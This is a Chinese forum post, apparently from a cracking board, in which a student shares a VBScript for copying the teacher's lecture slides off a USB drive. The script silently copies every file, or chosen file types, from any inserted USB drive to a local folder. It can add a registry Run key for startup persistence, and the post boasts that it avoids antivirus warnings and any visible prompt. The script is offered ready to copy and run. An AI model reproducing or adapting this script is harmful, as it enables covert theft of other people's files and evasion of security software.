前言：本人普通大学生一枚，本期望找老师要来上课用的PPT课件，用来复习学习。结果.....
前些天在破解论坛看到有人分享了一个U盘转存的软件，试着下载使用，但是我发现有几个致命的缺陷，①会被杀毒软件报毒检测出②转存过程会有提示做不到隐蔽。
所以我尝试并成功的做出了自己想要的功能，下面分享给大家。
实现功能： 当电脑插上U盘，会自动在后台将U盘内需要的文件类型或是所有文件转存到电脑的某个文件夹内，并且可以实现开机自启不会有杀毒软件的提示。
原理步骤：在TXT文本编辑代码，再转换为VBS文件执行。（执行之后会添加到进程，原文件可删除。）
只为了实现功能所以代码很简单，大家复制走就可以使用（附截图）：
源码
源代码：
[Visual Basic] 纯文本查看 复制代码 set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
dim USB,file,folder,files
'下面这行是添加开机自启的功能（添加键值到注册表），如果需要删除开头的" '"即可
'ws.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System32",Chr(34) & Wsh.ScriptFullName & Chr(34)
'下面是U盘插到电脑上显示的盘符，如有不同修改字母即可
USB="G:\"
'下面是转存到的位置（我这里就是存到D盘的ss文件夹内）
folder="D:ss\"
'下面是想要的文件类型我这里是转存所有文件，如果只需要文档改为doc或者xls或者txt即可
files="ALL"
'判断需要复制的文件类型（不用修改）
if files="ALL" then
file=USB & "*"
else
file=USB & "*." & files
end if
if FSO.folderExists(folder) then
else
FSO.CreateFolder(folder)
end if
on error resume next
'下面是循环复制文件（不用修改）
do
wscript.sleep 1000
if fso.FolderExists(USB) then
fso.copyfile file,folder
fso.copyfolder file,folder
wscript.sleep 20000
end if
loop
U盘转存.txt
(960 Bytes, 下载次数: 41)
只需要将TXT 文件的后缀改为 VBS双击即可执行。
第一次写分享贴，感谢大家的支持，我会多多学习与你们共同进步！
| 
发表于 2017-4-22 10:34
|
发表于 2017-9-24 16:38
